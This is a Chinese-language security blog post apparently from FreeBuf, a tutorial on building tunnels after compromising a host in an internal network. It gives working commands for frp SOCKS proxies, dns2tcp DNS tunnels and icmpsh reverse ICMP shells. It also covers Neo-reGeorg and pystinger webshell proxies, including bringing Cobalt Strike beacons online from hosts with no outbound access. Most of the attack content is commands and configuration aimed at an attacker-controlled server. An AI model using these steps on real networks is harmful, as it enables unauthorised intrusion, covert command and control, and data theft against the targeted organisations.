内网渗透之主机出网OR不出网隧道搭建 – 作者:whoami123

当拿到权限之后,做完本地信息收集,最重要的就是做个隧道,对内网进行下一步攻击,这里简单介绍几个常用的工具,主要针对于出网和不出网两种情况。

出网情况

拿到服务器权限之后,遇见这种机器,十分简单,针对不同情况搭建不同隧道,为了速度可以建立sockets隧道、为了隐蔽可以使用dns隧道、icmp隧道等,本文简单介绍几个常用工具。

frp

frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。

项目地址:https://github.com/fatedier/frp/

下载之后,我们只需要关注四个文件即可:

  • frps
  • frps.ini
  • frpc
  • frpc.ini

修改frpc.ini,这里搭建sockets隧道,上传至目标服务器启动即可。

./frpc -c frpc.ini

1606121139_5fbb76b3bcf8cfe1b114b.png!small?1606121140415

服务端根据frps.ini修改端口

1606121306_5fbb775a2ee9b32992562.png!small?1606121307017

启动监听

./frps -c frps.ini

即可建立sockets隧道,利用Proxifierprox等,即可全局代理隧道,访问目标主机内网。

dns

这个比较麻烦需要准备一个域名,和一台DNS服务器,在域名解析添加一条NS记录和一条A记录。举个例子,域名是123.com,添加一个子域名a.123.com,且类型为NS,并将NS记录指向b.123.com,然后将b.123.com建立A记录服务器IP即可,利用的工具也很多,本文简单介绍dns2tcp。

a.123.com NS b.123.com
b.123.com A 1.1.1.1

项目地址:https://github.com/HEYAHONG/dns2tcp

客户端

dns2tcpc -r nc -z a.123.com 1.1.1.1 -l 8888 -d 2  
-r 后接服务名称任意换, 本文用nc
-z 后接NS记录的网址
-l 后接本地端口

服务端

修改dns2tcpd.conf,

listen = 0.0.0.0
port = 53
user = root
chroot = /home/
domain = a.123.com
key = 123
resources = ssh:127.0.0.1:22,smtp:127.0.0.1:25,socks:127.0.0.1:1080,http:127.0.0.1:80,https:127.0.0.1:8080

然后执行,dns隧道就搭建好了,利用nc进行传输文件即可。

dns2tcpd -F -d 3 -f /home/dns2tcpd.conf

建立传输

1606274065_5fbdcc113946c21f0fc79.png!small?1606274064331

目标主机监听并接受文件即可。

1606274158_5fbdcc6e3fc853eaa7be5.png!small?1606274157264

icmp

icmp隧道主要因为大部分防火墙不会屏蔽 ping ,所以可以将流量封装在icmp进行传输,这种速度跟sockets相比太慢了,特殊情况才会使用。

项目地址:https://github.com/inquisb/icmpsh

服务端:

python icmpsh_m.py ip 目标ip

目标机

icmpsh.exe -t 目标ip

即可反弹icmp隧道shell回来。

1606273639_5fbdca67cfb75398a33fb.png!small?1606273638845

不出网情况

拿到服务器权限之后,遇见这种机器,只能利用基于webshell的代理,只需要将webshell上传到目标主机即可,然后建立tcp连接,主要利用session来识别不同的的tcp连接,我们攻击监听tcp,将数据post提交到webshell即可进行传输,本文简单介绍两个常用的。

Neo-reGeorg

Neo-reGeorg相当于是 reGeorg的升级版,有了更强的隐蔽性,原理都是相同的,常用于webshell代理流量,进而进行内网渗透。

项目地址:https://github.com/L-codes/Neo-reGeorg

首先需要设置密码,生成各种类型webshell,并上传至目标服务器

python neoreg.py generate -k password

1606271065_5fbdc059146c805cd6d00.png!small?1606271064195

上传至服务器即可,然后启动监听即可

python neoreg.py -k password -u http://1.1.1.1/tunnel.php

最后挂上sockets代理即可访问内网。

pystinger

毒刺(pystinger)通过webshell实现内网socks4代理,并且可以利用pystinge实现各种cs\msf上线,目前仅支持php、jsp(x)、aspx.

项目地址:https://github.com/FunnyWolf/pystinger

这个工具比较强大,这里可以直接上线cs,简单介绍如何搭建socks4以及cs上线。

socks4隧道搭建:

首先上传proxy.php,然后上传stinger_server.exe 到目标服务器,并start命令运行该程序

1606271763_5fbdc313e9fcb8778aebf.png!small?1606271763135

最后在我们的服务器执行

./stinger_client -w http://1.1.1.1/proxy.php -l 0.0.0.0 -p 60000

即可建立socks4隧道,利用Proxifierprox等,访问目标主机内网。

cs上线:

前面大体相同,首先上传proxy.php,然后上传stinger_server.exe 到目标服务器,启动利用冰蝎start启动即可

我们的服务器也需要进行监听

./stinger_client -w http://1.1.1.1/proxy.php -l 0.0.00 -p 60000

然后cs进行监听,端口填写60020

1606272650_5fbdc68aab84ec325d8eb.png!small?1606272649707

进而利用cs生成powershell

1606272699_5fbdc6bbdfb72de31baa3.png!small?1606272699170

执行可以利用pystinger,进行不出网主机上线。

1606272840_5fbdc7489b16ebe0473b2.png!small?1606272839728

1606272865_5fbdc761c9853e564f503.png!small?1606272864909

End

这里只是抛砖引玉,引出一些在之前工作中针对于不出网以及出网主机,用过最多的几个隧道代理工具,还请各位大佬勿喷,有更好的工具多补充,共同交流,这样我们才能共同成长,格拉德威尔曾说过:“人们眼中的天才之所以卓越非凡,并非天资超人一等,而是付出了持续不断的努力。1万小时的锤炼是任何人从平凡变成世界级大师的必要条件“。

来源:freebuf.com 2020-11-25 11:03:24 by: whoami123

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论